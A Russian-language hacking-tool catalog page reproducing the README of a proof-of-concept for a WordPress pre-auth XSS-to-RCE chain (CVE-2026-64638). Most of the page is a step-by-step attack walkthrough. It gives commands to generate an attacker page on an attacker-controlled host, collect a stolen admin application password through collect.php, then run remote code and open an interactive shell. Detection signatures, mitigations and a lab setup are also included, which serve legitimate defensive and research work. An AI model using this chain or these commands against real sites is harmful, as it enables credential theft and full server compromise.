Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
poc-CVE-2026-64638- — Эксплойт-цепочка PoC для WordPress: от неаутентифицированного XSS до RCE через DOM-клобберинг, REST JSONP/SOME и загрузку плагина, с проверкой в Docker-лаборатории и интерактивной оболочкой. | Kitploit
Инструменты/GitHubGitHub/mohwahyudi/poc-cve-2026-64638-
Инструменты фишингаГенерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеСоциальная инженерияRed Teaming

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
mohwahyudi/poc-cve-2026-64638-

poc-CVE-2026-64638-

Эксплойт-цепочка PoC для WordPress: от неаутентифицированного XSS до RCE через DOM-клобберинг, REST JSONP/SOME и загрузку плагина, с проверкой в Docker-лаборатории и интерактивной оболочкой.

Репозиторий
251 месяц назадЕщё не проверено

XSS2Shell — CVE-2026-64638 PoC

Цепочка эксплойта WordPress: Pre-Auth XSS → RCE, основана на исследовании pwn.ai, опубликованном на ionsec.io.

⚠️ ПРАВОВОЕ ПРЕДУПРЕЖДЕНИЕ: Только для ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ и АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ. Применяйте только к системам, которыми вы владеете или на тестирование которых имеете явное письменное разрешение.

Лабораторная проверка

ШагМетодикаСтатус
1Дифференциальный XSS парсера (sanitize_user + расхождение парсинга в браузере)✅ Подтверждено
2DOM-клобберинг (<area id=ajaxurl>, <div id=color-picker>)✅ Подтверждено
3Автоматический запуск user-profile.js на странице входа✅ Подтверждено
4REST JSONP-колбэк допускает обход через точку (window.opener.approve.click)✅ Подтверждено
5Переопределение _method=GET + _envelope=1✅ Подтверждено
6Кража пароля приложения (SOME)⚠️ Требуется клик администратора
7Загрузка плагина → выполнение PHP (без активации)⚠️ Требуются учётные данные

Полные подробности см. в lab/VERIFICATION_REPORT.md.

Сводка по уязвимости

ПараметрДетали
CVECVE-2026-64638
CVSS 4.08.9
Затронутые версииWordPress 4.7 – 7.0.2 (точечные релизы без исправлений)
ИсправленоWordPress 7.0.3 (6 августа 2026), исправление перенесено во все ветки сопровождения
АутентификацияНе требуется (XSS до аутентификации)
ВоздействиеRCE через загрузку плагина

Цепочка эксплойта (7 шагов)

Step 1: Parser Differential XSS
  └─ sanitize_user() allows "< area>", "< div>", "< button>" (space after "<")
     Browser parses these as real HTML elements in login error message

Step 2: DOM Clobbering
  └─ <area id=ajaxurl>   → shadows window.ajaxurl (HTMLAreaElement)
     <div id=color-picker class=reset-pass-submit> → satisfies jQuery selectors
     <button class="wp-generate-pw color-option"> → delegated click handler

Step 3: user-profile.js Auto-Trigger
  └─ Enqueued on wp-login.php (line 1398)
     $('.reset-pass-submit button.wp-generate-pw').trigger('click') fires
     $.post(ajaxurl, ...) → target URL = area.href (attacker-controlled)

Step 4: REST API JSONP + SOME
  └─ _jsonp=window.opener.approve.click → Same Origin Method Execution
     _envelope=1 → bypass auth error, wrap response in 200
     wp_check_jsonp_callback: regex /[^\w\.]/ allows dot traversal

Step 5: Social Engineering (1 click)
  └─ Admin sees real /wp-admin/authorize-application.php page
     Clicks "Approve" → application password minted

Step 6: Credential Theft
  └─ Password appears in redirect query string → read by child window (same-origin)

Step 7: Plugin Upload → RCE
  └─ Upload plugin ZIP → extracted to /wp-content/plugins/{slug}/
     PHP files directly executable WITHOUT activation

Быстрый старт

1. Установка зависимостей

pip install requests

2. Разведка цели

python3 xss2shell_poc.py --target https://wp-target.com --check

# With Burp Suite proxy
python3 xss2shell_poc.py --target https://wp-target.com --check --proxy http://127.0.0.1:8081

3. Docker-лаборатория (для тестирования)

cd lab
docker-compose up -d
# WordPress 6.0.3 at http://localhost:8080
# Admin: admin / password123

4. Проверка XSS-вектора на лабораторном стенде

python3 xss2shell_poc.py --target http://localhost:8080 --check --no-ssl

5. Генерация страницы атакующего

python3 xss2shell_poc.py --target https://wp-target.com \
    --attacker-host https://your-server.com --generate-page

Загрузите xss2shell_attacker.html и collect.php на ваш сервер.

6. Отправка ссылки администратору

Выполнивший вход администратор WordPress должен открыть страницу атакующего и один раз кликнуть.

7. Получение учётных данных

Учётные данные появятся в collected_creds.json на вашем сервере:

[
  {
    "timestamp": "2026-08-08T...",
    "username": "admin",
    "password": "AbCd 1234 EfGh 5678",
    "site": "https://wp-target.com"
  }
]

8. Запуск RCE-цепочки

python3 xss2shell_poc.py --target https://wp-target.com \
    --username admin --app-password "AbCd 1234 EfGh 5678" --rce

9. Интерактивная оболочка

python3 xss2shell_poc.py --target https://wp-target.com \
    --username admin --app-password "AbCd 1234 EfGh 5678" --shell

10. Очистка

python3 xss2shell_poc.py --target https://wp-target.com \
    --username admin --app-password "AbCd 1234 EfGh 5678" --cleanup

Обнаружение (форензика логов)

Сигнатуры для поиска в логах сервера:

  • Лог доступа: POST /wp-login.php с телом, содержащим < area, < div, < button
  • Лог доступа: REST-запрос с параметром запроса _jsonp= (особенно _jsonp=a.b.c — точка является признаком SOME)
  • Лог доступа: _envelope=1 + _method=GET на маршрутах, которые должны отклонять такие запросы
  • Лог доступа: POST /wp-admin/update.php?action=upload-plugin с неизвестного IP-адреса
  • Лог доступа: GET /wp-content/plugins/{unknown-plugin}/*.php — PHP-файл в плагине, который никогда не активировался
  • Лог приложения: пароль приложения создан в течение нескольких секунд после запроса к authorize-application.php

Меры по устранению

  1. Обновитесь до WordPress 7.0.3 (или последнего точечного релиза вашей ветки)
  2. Смените все пароли приложений администраторов
  3. Отключите пароли приложений, если они не нужны:
    add_filter('wp_is_application_passwords_available', '__return_false');
    
  4. Отключите REST JSONP:
    add_filter('rest_jsonp_enabled', '__return_false');
    
  5. Отключите изменение файлов:
    define('DISALLOW_FILE_MODS', true);
    
  6. Правила WAF: блокируйте _jsonp=, _envelope= на REST-эндпоинтах; блокируйте < area в теле POST-запроса к wp-login.php

Структура файлов

xss2shell/
├── README.md                      # Documentation (this file)
├── xss2shell_poc.py               # Main PoC script
├── xss2shell_attacker.html        # Generated attacker page
├── collect.php                    # Credential collector endpoint
└── lab/
    ├── docker-compose.yml         # Docker lab (WP 6.0.3)
    ├── VERIFICATION_REPORT.md     # Step-by-step verification
    ├── test_sanitize.php          # sanitize_user() tests
    ├── test_full_payload.php      # Full payload chain test
    ├── test_browser.html          # DOM clobbering browser test
    ├── test_end_to_end.php        # End-to-end PHP test
    └── verify_xss.sh              # Automated curl tests

Ссылки

  • IonSec — XSS2Shell: WordPress Pre-Auth XSS to RCE
  • pwn.ai — первоначальное обнаружение
  • Релизы безопасности WordPress
Скачать инструмент